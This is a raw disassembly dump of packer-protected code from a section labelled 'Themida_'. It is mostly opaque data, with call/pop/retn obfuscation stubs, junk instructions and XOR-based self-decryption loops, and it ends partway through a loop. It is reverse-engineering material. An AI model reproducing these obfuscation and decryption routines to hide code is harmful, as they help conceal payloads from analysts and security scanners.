sub_596677 proc near ; CODE XREF: Themida_:0059666Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_596677 endp
; ---------------------------------------------------------------------------
db 16h
dd 0BBFF6A75h, 515F1F87h, 2071B5FFh, 5E806A8h, 73000000h
; CODE XREF: Themida_:loc_5973B4j
dd 14B8E316h, 1011BD89h, 0FF5F06A8h, 0A82A7D95h, 11AE906h
dd 8D890000h, 6A80CA9h, 0BD8900B0h, 6A813E9h, 0BD8B70E6h
dd 6A807C9h, 0BD8B71E4h, 6A82B91h, 830F613Ch, 0F4h, 0FDBBF0Fh
dd 0BB66C8B6h, 6BADEDAh, 66000000h, 0DAF6D381h, 8B66C18Bh
dd 4E8C1DAh, 3029BD8Bh, 0F76606A8h, 66E781E2h, 2B5B6E5Bh
dd 38C0FC8h, 0F000000h, 0D18BD9BFh, 11E9h, 0FA8CA00h, 8F7E3FC4h
dd 6E87006Bh, 7EAD9B1Dh, 0B70FBBEDh, 9EE9D9h, 8B660000h
dd 1858BFBh, 89000000h, 0A8303DB5h, 7C08306h, 0C083F98Bh
dd 18D8900h, 3B06A828h, 1D830FD0h, 0E9000000h, 10h, 44AD1982h
dd 0D7C37E2Bh, 3438351Ah, 8A0AD42Eh, 5FE9h, 0F9BF0F00h
dd 0FFFF8D8Bh, 0FE8FFFFh, 0BC000000h, 51A077CCh, 909A6B59h
dd 0D6BBD405h, 8D01ACB1h, 6A81101h, 1E1835Bh, 32840Fh
dd 880F0000h, 11h, 5E8h, 1E231900h, 9D8BBEA0h, 6A80E81h
dd 0FFA5835Bh, 0FEFFFFFFh, 0F533BB66h, 19589h, 25BB0000h
dd 0E95BC9E1h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6AC420Eh]
push 0
push eax
call sub_5967DD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5967DD proc near ; CODE XREF: Themida_:005967D5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5967DD endp
; ---------------------------------------------------------------------------
pop ebp
pop edx
mov edx, 521991Ch
sub ebx, [ecx-77h]
popf
xor dword ptr [ecx], 6AF506A8h
add [ebx-57F93663h], cl
push es
mov di, 1EFh
call dword ptr [ebp+6A81B31h]
push 0
push eax
call sub_59681A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59681A proc near ; CODE XREF: Themida_:00596812p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_59681A endp
; ---------------------------------------------------------------------------
sbb [edx+0F7FB9h], esi
add [edx+0], ch
push eax
call sub_59683C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59683C proc near ; CODE XREF: Themida_:00596834p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_59683C endp
; ---------------------------------------------------------------------------
dd 0F1E60084h, 0BF663725h, 8B661068h, 0FCE183F9h, 2B18501h
dd 9D8B06A8h, 6A82AF9h, 50006AFCh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 9D8B3A19h, 6A80CBDh, 0B589C02Bh
dd 6A82DD9h, 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 11A0B9Ch, 0DD9D2351h
dd 5B06A81Fh, 12860Fh, 66600000h, 7E8FB8Bh, 49000000h
dd 6FEC608h, 615E11CEh, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6C35040h
dd 8D89F59Dh, 6A80E45h, 880Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D1C59572h
dd 401E43B6h, 0CF812458h, 3C28672h, 27B1BD09h, 958B06A8h
dd 6A805B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0DAC35343h, 0E86C47ADh, 7, 50B68C3Eh, 89C38319h
dd 0A82FB9BDh, 81665B06h, 8B7DF6DFh, 0A814698Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 450A9198h, 0DAB70FEEh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 85895818h, 6A814DDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 8F8F63Fh, 5328282Fh
dd 5BFABF0Fh, 91BD83F8h, 6A80Ch, 25840Fh, 9D8B0000h, 6A80C45h
dd 0B8h, 8D8DF500h, 6A84FAFh, 341D9D8Bh, 0E1FF06A8h, 1B2D9D8Bh
dd 26BB06A8h, 832587D2h, 0A80BBDBDh, 840F0006h, 48Eh, 58F0Fh
dd 6EBB0000h, 832A6148h, 0A80BBDBDh, 840F0106h, 491h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D1C35242h, 0D3811219h
dd 219D56C8h, 0D17892BBh, 0BDBD8374h, 306A80Bh, 425860Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 5EC911C3h, 8B136E25h, 0A81A999Dh, 8D016006h
dd 6A81761h, 80D98C66h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 0FC3D4C3h, 68Ch, 35B58900h
dd 0A06A81Bh, 54840FC9h, 8B000001h, 0A80BE185h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 34D84799h, 0FCF17F8Eh, 899529A4h, 3306A81Fh, 0A81D5D85h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 3A33CB7Dh, 0F87FBFEDh, 870AEF81h, 0F88A3F41h
dd 48D0F50h, 66000000h, 893EE6BBh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4DA063C3h
dd 9D8B006Ah, 6A81F35h, 8C0Fh, 0D2680000h, 0E8FE7D1Ch
dd 10h, 0CBEE4F4Ah, 0DB5D7F4Ah, 0E5AC9F5h, 0FF44F157h
dd 132DBF66h, 2404815Bh, 1A1E72Dh, 1B95BD31h, 95FF06A8h
dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 0EEC35242h, 0F88B1892h, 895AEB80h, 0A828A995h
dd 27858906h, 6A06ABA2h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 16CDC350h, 9E375955h
dd 0EBE63A62h, 14E8h, 0B26E100h, 77C40754h, 0D943E788h
dd 111A3B97h, 0EF32E06Ah, 8C0FD8h, 5F000000h, 204E9h, 9D896000h
dd 6A820E5h, 19858589h, 8B6106A8h, 0ABA21F85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 21DDF07h, 7E9h, 98C63A00h, 0A1A8FCD5h, 1800C7h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 5B51B8C3h, 0A223B58Bh, 6A06ABh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0C3600AC3h, 3D9D89h
dd 858B06A8h, 6A82B7Dh, 14FD8589h, 68906A8h, 0CE98D89h
dd 858B06A8h, 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0B8C35343h, 8EBF660Ch, 44689A8h, 1E880Fh
dd 13E80000h, 87000000h, 1830D41Ch, 8213DFDDh, 4D264B51h
dd 82B6FEF6h, 8166EAD6h, 5BE6E2D7h, 0FB8B6650h, 0FF243489h
dd 0ABA21FB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 50452C70h, 3F0868FEh
dd 9D23DF92h, 6A80FC1h, 3B868768h, 14E986h, 81430000h
dd 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h, 48168B2h
dd 0E37D7824h, 83C7BB79h, 858D6D2Dh, 6ABA227h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 9F0013C5h
dd 1A332BA7h, 0DE999h, 958F0000h, 2C52CF0h, 5FB33035h
dd 90BE9E5Bh, 7E9h, 209A1B00h, 55B151C8h, 8E850h, 5D240000h
dd 4784D022h, 905B3A1Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0CFC35747h, 0FF558855h, 0A8074195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 8B2DE595h, 0FE9F8h, 0FF130000h, 54D520BDh, 41CF2579h
dd 1207C290h, 880F6108h, 15h, 10E9h, 0C9A2AF00h, 11D1A6C9h
dd 0AB51A57h, 0E9CEAE81h, 0BD85C732h, 306A80Bh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0B7D1C355h, 7E9FBh, 0C2240000h, 18DDD3h
dd 27BD832Ah, 6ABA2h, 19840Fh, 0B5890000h, 6A80579h, 29E9h
dd 9D016000h, 6A819F5h, 0D9C7E681h, 506107BCh, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0ADB7C08Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h
dd 33D792A7h, 0DB3AE906h, 0E18501D8h, 8306A829h, 0A80BBDBDh
dd 850F0306h, 490h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0F9C35141h, 24D6E781h, 0BD830B72h, 6ABA227h
dd 61840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0BFB1C355h, 0A71D6213h
dd 0BD8B1EB9h, 6A81101h, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F9E493C3h
dd 15F995FFh, 10E906A8h, 0B0000000h, 433F3F8Bh, 6309A631h
dd 0AB9EBE27h, 8B8C212Eh, 0ABA21BB5h, 2DBB6606h, 71B5890Dh
dd 0C706A817h, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 968BD9BFh, 8E0F2CD9h
dd 5, 0B1EE06BBh, 0D59D314Fh, 9606A81Bh, 4860Fh, 0BB660000h
dd 0F502C5Eh, 1889h, 13E900h, 0FD370000h, 22AC3641h, 0B1337849h
dd 2C6962E7h, 37F50ACh, 0BD019698h, 6A80969h, 0A227B5FFh
dd 666006ABh, 8D89D18Bh, 6A81491h, 9995FF61h, 6A06A821h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0BA4CC351h, 0CA17B91Eh, 0C5B7C351h, 14E8h
dd 0E2EF9C00h, 58A74630h, 5ACE4165h, 7207624Dh, 5CA36923h
dd 5850F38h, 0BB000000h, 32CC9BB3h, 1BB58B5Fh, 0E806ABA2h
dd 0Ah, 0E7AA5693h, 7B7A9895h, 8D89AF67h, 6A82DD5h, 41858B5Bh
dd 8B06A80Eh, 0A82769BDh, 0C4868906h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 3BE0C350h, 0BD8B9EADh, 6A81665h, 5B9958Bh, 6A06A8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0BF661FC3h, 0C283E179h, 68D0F04h, 89000000h, 0A8021D95h
dd 20508906h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0E3C35141h, 216A046h, 858DE8B7h, 6ABB7CEh, 0C5DBD8Bh
dd 868906A8h, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 14C35343h, 362F96F9h, 8DD03B2h, 89F9B70Fh
dd 0A81E6195h, 599D8B06h, 6A06A81Dh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0CFA88A3Dh
dd 0DA8BC28Ah, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 9F3F2BC3h
dd 60DF3CECh, 81FDBA66h, 6860Fh, 0B5290000h, 6A80085h
dd 51E38161h, 0FF37630Eh, 0A81E1D95h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 9094953Bh, 3489503Fh, 27B5FF24h, 8B06ABA2h, 0A806459Dh
dd 6995FF06h, 8106A82Ah, 96AFFBF3h, 3DBD8352h, 6A82Eh
dd 47840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 1F3091C3h, 6650A446h, 3489DA8Bh
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 8B66DC47h, 27B5FFFEh, 8106ABA2h, 0EB8D8CF7h
dd 8595FF37h, 6A06A831h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 481DC350h, 0FE8h, 0B5B91C00h
dd 13FA1377h, 65CBCFCFh, 54D9AE12h, 901B589h, 0FF5F06A8h
dd 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 9D8B686Ah, 6A81471h, 0F8DB509h
dd 95FF06A8h, 6A80F55h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 8BC35646h, 0FB5EE79Dh, 1F81B531h, 0BD8306A8h
dd 6A8077Dh, 67840F02h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 7F09C350h
dd 8171ECC2h, 0F78166CBh, 0BB66C1D8h, 0C3810A0Ah, 5306A254h
dd 0D19858Bh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 8ADAA4C3h, 2A7E60EFh, 66CE5F80h
dd 2389C381h, 660000C6h, 85C7DF8Bh, 6A80DC1h, 0
; ---------------------------------------------------------------------------
xor [ebp+6A82B31h], eax
jmp loc_5973B4
; ---------------------------------------------------------------------------
db 94h
dd 0C0A2848Dh
; ---------------------------------------------------------------------------
loc_5973B4: ; CODE XREF: Themida_:005973AAj
jmp near ptr dword_596688+1
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5973C4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5973C4 proc near ; CODE XREF: Themida_:005973BCp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5973C4 endp
; ---------------------------------------------------------------------------
dd 4659C27Ah, 878A624Eh, 8B6674D8h, 23C18BD8h, 0A80E8D9Dh
dd 85858D06h, 6A06A833h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0E5CCC353h, 504EABFEh
dd 4895B57h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 3F25694Dh, 0BD01D8A9h, 6A81F41h
dd 5360006Ah, 8B5E6160h, 0A80E4D8Dh, 6A6106h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9FC35646h, 8155B484h
dd 0F3FC94D3h, 0F595296Dh, 8D06A832h, 0ACDBE785h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 89279CA7h, 0A81465BDh, 5C08306h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 37C35343h, 0EAEA7A71h, 0BBEAB57Ah
dd 0ABC78166h, 2BF5082h, 89483302h, 6A2404h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 19C2BAC3h
dd 0FE9h, 0D3DCBA00h, 8CCAE837h, 0D94EDFE2h, 5DF728B4h
dd 6AD98B66h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 7E73C832h, 0A224BF66h, 26299D33h
dd 6A06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0D2C35545h, 87CD064Fh, 19471055h, 9B99D8Bh, 95FF06A8h
dd 6A82541h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 32C35545h, 7513681Fh, 0E53E9D20h, 5E9h, 9DADE800h
dd 8D8DCEA9h, 6AB8C7Fh, 169D9531h, 0D1FF06A8h, 0BD83FB8Bh
dd 6A8339Dh, 41850F01h, 9000000h, 0A80609BDh, 81026A06h
dd 0EAEE8DE7h, 8B665048h, 240489FAh, 0F8FFBF0Fh, 1E1D95FFh
dd 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0C781FCC3h, 51FF8853h, 0D48E9h, 0E800h, 815D0000h
dd 0ACDBF1EDh, 55B50906h, 6A06A80Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8980C356h
dd 0A805658Dh, 1BD8906h, 0F06A826h, 858DF9BFh, 6AB7E2Eh
dd 870F90h, 50000000h, 7E9h, 0C5F57F00h, 0B8969871h, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0D9B789FAh, 35FF64h, 89000000h, 0A82AE98Dh, 0BF605206h
dd 3EE5E400h, 0F258D01h, 5B6106A8h, 258964h, 9000000h
dd 0A80C25BDh, 0F185FF06h, 6A06A833h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B24C353h
dd 0FF6AFE22h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 45C35040h, 0FF7488Fh, 14E9D9B7h, 0AA000000h, 0AA7EE086h
dd 3F6C85Fh, 0F994FC41h, 0CFACD916h, 0FF054BEEh, 0A801B1B5h
dd 3D958906h, 0FF06A81Bh, 0A82A7D95h, 12BE906h, 860F0000h
dd 6, 8FD8529h, 9D2906A8h, 6A82145h, 9D3300B0h, 6A81681h
dd 9D8B70E6h, 6A81FB5h, 9D0971E4h, 6A82ABDh, 830F613Ch
dd 0F9h, 5ADDE381h, 0B60F61A3h, 800F60C8h, 6, 0E31F681h
dd 0BD016125h, 6A80B91h, 6BA61h, 8D890000h, 6A80929h, 0C1F5C18Bh
dd 0BD2904E8h, 6A81009h, 52E2F766h, 5FDA8B66h, 800FC82Bh
dd 5, 0A6DD73BFh, 66D18B50h, 8BD72FBFh, 0A3E9F9h, 0BD890000h
dd 6A80079h, 4858Bh, 85010000h, 6A80DCDh, 5307C083h, 0C0835Bh
dd 0AE9h, 4A3E2800h, 605CAB74h, 3B1CF025h, 30830FD0h, 0F000000h
dd 6AE9FBB7h, 0E8000000h, 0Eh, 18989307h, 143080B5h, 9C6AD33h
dd 8E81B43h, 0C0000000h, 0BE2F6E49h, 0FCF6F56h, 84h, 8B5F5F00h
dd 0FFFFFF8Dh, 558D89FFh, 8306A82Ah, 840F01E1h, 2Dh, 0FFFFA583h
dd 0E8FEFFFFh, 0Eh, 3F9A28E1h, 20F059F4h, 2398544Eh, 8D31DFCFh
dd 6A81C2Dh, 495895Bh, 0F9000000h, 0E9h, 8DB58D00h, 6606AC51h
dd 6AF88Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0CAC35646h, 8BB10F3Bh, 0E8C1412Eh, 7, 0C6C8CF36h
dd 8B8E2FBEh, 95FF5FD9h, 6A81B31h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0C1C35040h, 26523554h, 34D59D8Bh
dd 2B906A8h, 0F00000Fh, 0E183FAB7h, 14E9FCh, 14980000h
dd 31F11A9Bh, 0C31C2404h, 3629E42Dh, 3E7D74C4h, 8BFC1A45h
dd 0A816919Dh, 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 3CD04AC3h, 0D22B5C43h
dd 0DE8h, 0FA1E5D00h, 0E4226970h, 8A783A34h, 10E97785h
dd 76000000h, 6A45D1Eh, 0A08F2D84h, 0BB4C8AF9h, 5FD6E0AEh
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FDCD780h, 880DFEB7h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0B415C350h, 0ED8F9044h, 68F0FC2h
dd 2B000000h, 0A81A8D9Dh, 0ED9D8B06h, 8B06A82Fh, 0A805B995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0F807AE7h, 14698D8Bh, 0BD0306A8h, 6A80AA5h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 8311E5C3h, 800F513Bh, 6, 830Fh, 0B5F0000h, 0A805C19Dh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 0CE4A5836h, 0E5FA750Dh, 9D8B04DCh, 6A82CC5h
dd 0C91BD83h, 0F0006A8h, 4A84h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 1585891Eh
dd 0B806A821h, 0
; ---------------------------------------------------------------------------
jge loc_597A52
jnp loc_597A52
mov [ebp+6A80F51h], edi
loc_597A52: ; CODE XREF: Themida_:00597A40j
; Themida_:00597A46j
lea ecx, [ebp+6A84FAFh]
xor ebx, [ebp+6A80EF5h]
jmp ecx
; ---------------------------------------------------------------------------
mov di, cx
cmp dword ptr [ebp+6A80BBDh], 0
jz loc_597E9F
cmp dword ptr [ebp+6A80BBDh], 1
jz loc_597EBA
mov ebx, eax
cmp dword ptr [ebp+6A80BBDh], 3
jbe loc_597E84
push 0
push esi
call sub_597A97
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597A97 proc near ; CODE XREF: Themida_:00597A8Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_597A97 endp
; ---------------------------------------------------------------------------
cmp [eax+7Dh], ebp
mov ch, al
cmpsd
pop edx
pusha
push 0
push edx
call sub_597ABA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597ABA proc near ; CODE XREF: Themida_:00597AB2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_597ABA endp
; ---------------------------------------------------------------------------
rol dword ptr [ebp+63h], 1
retn
; ---------------------------------------------------------------------------
stosb
mov edi, [ebp+6A80795h]
mov cx, ds
or edi, 833171Fh
and cl, 4
push 0
push edi
call sub_597AEC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597AEC proc near ; CODE XREF: Themida_:00597AE4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_597AEC endp
; ---------------------------------------------------------------------------
xor ch, [eax]
mov ch, 10h
or cl, cl
jz loc_597C23
pusha
jmp loc_597B1C
; ---------------------------------------------------------------------------
dw 3992h
dd 3BC80AE2h, 548529F5h, 320148E9h
; ---------------------------------------------------------------------------
loc_597B1C: ; CODE XREF: Themida_:00597B09j
movzx ebx, cx
popa
mov eax, [ebp+6A80BE1h]
mov di, bx
xor eax, [ebp+6A81D5Dh]
push 0
push ecx
call sub_597B3A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597B3A proc near ; CODE XREF: Themida_:00597B32p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_597B3A endp
; ---------------------------------------------------------------------------
aTUFndvRkPflRj db 'âÕž°”„¢ÀŠÚPf‹Ùj',0
; ---------------------------------------------------------------------------
push edx
call sub_597B66
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597B66 proc near ; CODE XREF: Themida_:00597B5Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_597B66 endp
; ---------------------------------------------------------------------------
push cs
xor [ebx+2B719D31h], ecx
test al, 6
mov edi, [ebp+6A82A91h]
push 0
push 0
push ebp
call sub_597B92
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597B92 proc near ; CODE XREF: Themida_:00597B8Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_597B92 endp
; ---------------------------------------------------------------------------
dw 0ED95h
dd 8665F7A0h, 1B1368E9h, 0DE8767Ah, 0F8000000h, 1DB2E0EAh
dd 63486B77h, 0AA1FA414h, 5FFA8A51h, 2434815Bh, 766518ECh
dd 74195FFh, 0BD3306A8h, 6A82535h, 0A2278589h, 6A06ABh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 636F7AC3h, 0FE876ADh, 12000000h, 6D08766Dh, 0E5EC96A4h
dd 8926BFDEh, 9501883Dh, 6A82F61h, 1B4E95Bh, 81660000h
db 0F7h, 0BBh, 0F2h
; ---------------------------------------------------------------------------
loc_597C23: ; CODE XREF: Themida_:00597B02j
mov eax, [ebp+6ABA21Fh]
push 0
push edx
call sub_597C34
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597C34 proc near ; CODE XREF: Themida_:00597C2Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_597C34 endp
; ---------------------------------------------------------------------------
dd 0B98452F3h, 1800C78Dh, 0F000000h, 88Eh, 2880F00h, 60000000h
dd 13F38061h, 0A223B58Bh, 0BD8B06ABh, 6A829D9h, 2B7D858Bh
dd 0DE806A8h, 88000000h, 92654B8Eh, 90A1689Dh, 0E411EC62h
dd 499D01h, 895B06A8h, 0A82F85BDh, 6A068906h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 4F15C350h, 490C1983h, 0F98B4CB2h, 0BE1858Bh, 6A06A8h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0FCBB8AC3h, 0CCB6BF66h, 6A044689h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 46DFC356h
dd 2BA31E64h, 503B352Fh, 0CE8h, 0E7A1D00h, 0E98B0AB7h
dd 1701A7B5h, 880FE2h, 5B000000h, 89243489h, 0A801A98Dh
dd 1FB5FF06h, 6A06ABA2h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0DB2AC351h, 1176C428h
dd 0BDFBF0Fh, 0A80625BDh, 0B0BB6606h, 857F6852h, 6DBB3C6Fh
dd 8170D1D7h, 86802434h, 0BD893C70h, 6A833D5h, 0A227858Dh
dd 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 5D7B88C3h, 3CA8D13Fh, 800F50FBh, 5, 0CA817FBFh
dd 24048950h, 0E9DF8166h, 4195FF74h, 5706A807h, 14E9h
dd 10CCC700h, 9436F974h, 0A5C996BBh, 0AD206501h, 0A83A8465h
dd 8B615B5Fh, 0A800659Dh, 0BD85C706h, 306A80Bh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 7E3DC351h, 83F802FDh, 0ABA227BDh, 840F0006h
dd 74h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
dd 0BDC35141h, 0CF358B96h, 499509D1h, 8106A82Bh, 34C169E3h
dd 5DE91Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0E8610BC3h, 0FBB8444h, 1587h, 10E900h
dd 0C3200000h, 10385111h, 0B83FAE20h, 0F375FC30h, 0DF81C46Bh
dd 1DF8D31Fh
; ---------------------------------------------------------------------------
loc_597E84: ; CODE XREF: Themida_:00597A86j
; Themida_:00597E9Bj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_597E84
jmp short loc_597ED5
; ---------------------------------------------------------------------------
loc_597E9F: ; CODE XREF: Themida_:00597A6Aj
; Themida_:00597EB6j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_597E9F
jmp short loc_597ED5
; ---------------------------------------------------------------------------
loc_597EBA: ; CODE XREF: Themida_:00597A77j
; Themida_:00597ED1j
push eax
shr eax, 10h
